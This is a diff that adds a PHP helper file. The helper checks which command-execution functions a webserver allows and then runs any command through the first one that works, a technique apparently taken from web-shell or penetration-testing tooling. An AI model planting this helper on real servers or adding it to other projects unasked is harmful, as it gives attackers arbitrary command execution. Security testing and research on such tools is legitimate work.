diff --git a/helper/exectool.php b/helper/exectool.php
new file mode 100644
index 0000000..3182574
--- /dev/null
+++ b/helper/exectool.php
@@ -0,0 +1,162 @@
+<?php
+/*
+exec_test() executes a command (like "whoami") with different
+PHP functions in order to figure out which fuctions are supported 
+in the webserver configuration. The function execTests returns an array, which 
+contains names of all successful tested PHP functions.
+*/
+function exec_test() {
+    $cmd = "whoami";
+    $cmdPath = "/usr/bin/whoami";
+    $return = "";
+    $output = "";
+    $methodArray = array();
+
+    // Testing system()
+    $return = ""; $output = "";
+    ob_start();
+    $output = system("$cmd 2>&1", $return);
+    ob_end_clean();
+    if (strlen($output) > 0 && $return == 0) {       
+        $methodArray[] = "system";
+    } 
+
+    // Testing exec()
+    $return = ""; $output = "";
+    exec($cmd, $output, $return);        
+    if (strlen($output[0]) > 0 && $return == 0) {
+        $methodArray[] = "exec";
+    }
+
+    // Testing shell_exec()
+    $return = ""; $output = "";
+    $output = shell_exec($cmd);
+    if (strlen($output) > 0) {       
+        $methodArray[] = "shell_exec";
+    }
+
+    // Testing backticks
+    $return = ""; $output = "";
+    $output = `$cmd`;        
+    if (strlen($output) > 0) {       
+        $methodArray[] = "backticks";
+    }
+
+    // Testing passthru()  
+    $return = ""; $output = "";
+    ob_start();
+    passthru($cmd, $return);
+    $output = ob_get_contents();
+    ob_end_clean();
+    if (strlen($output[0]) > 0 && $return == 0) {
+        $methodArray[] = "passthru";
+    }        
+
+    // Testing popen()
+    $return = ""; $output = "";
+    $handle = popen($cmdPath, "r");
+    $output = fread($handle, 2096);
+    pclose($handle);
+    if (strlen($output) > 0) {       
+        $methodArray[] = "popen";
+    }
+
+    // Testing proc_open()
+    $return = ""; $output = "";
+    $descriptorspec = array(
+       0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
+       1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
+       2 => array("file", "/tmp/error-output.txt", "a") // stderr is a file to write to
+    );  
+    $cwd = '/tmp';
+    $env = array('some_option' => 'aeiou');    
+    $process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
+    if (is_resource($process)) {
+        // $pipes now looks like this:
+        // 0 => writeable handle connected to child stdin
+        // 1 => readable handle connected to child stdout
+        // Any error output will be appended to /tmp/error-output.txt
+        $output = stream_get_contents($pipes[1]);
+        fclose($pipes[1]);
+
+        // It is important that you close any pipes before calling
+        // proc_close in order to avoid a deadlock
+        $return = proc_close($process);
+    }
+    if (strlen($output) > 0 && $return == 0) {       
+        $methodArray[] = "proc_open";
+    }
+
+    return $methodArray;
+}
+
+/*
+exec_command() executes a command (like "whoami") with the submited method    
+*/
+function exec_command($command, $method) {        
+    if ($method == "") {
+
+        // ob_start() will turn on output buffering to collect all output from
+        // exec_test() and ob_end_clean() will clean the buffer afterwards ("garbage collection") 
+        ob_start();
+        $methodArray = exec_test();
+        ob_end_clean();
+
+        if (is_array($methodArray)) {
+            $method = $methodArray[0];            
+        }
+        else {
+            echo "[!] No method availabe";
+            exit;
+        }            
+    }
+
+    switch ($method) {   
+        case "system":
+            system("$command 2>&1");
+            break;
+
+        case "exec":
+            exec($command, $output);
+            var_dump($output);  
+            break;
+
+        case "shell_exec":
+            echo shell_exec($command);
+            break;
+
+        case "backticks":
+            echo `$command`;
+            break;
+
+        case "passthru":
+            echo passthru($command);
+            break;
+
+        case "popen":
+            $handle = popen($command, "r");
+            echo fread($handle, 2096);
+            pclose($handle);
+            break;
+
+        case "proc_open":
+            $descriptorspec = array(
+               0 => array("pipe", "r"),  
+               1 => array("pipe", "w"),  
+               2 => array("file", "/tmp/error-output.txt", "a")
+            );  
+            $cwd = '/tmp';
+            $env = array('some_option' => 'aeiou');    
+            $process = proc_open($command, $descriptorspec, $pipes, $cwd, $env);
+            if (is_resource($process)) {           
+                echo stream_get_contents($pipes[1]);
+                fclose($pipes[1]);
+                proc_close($process);
+            }
+            break;
+
+        default: 
+            echo "[!] No method defined";
+            break;
+    }
+}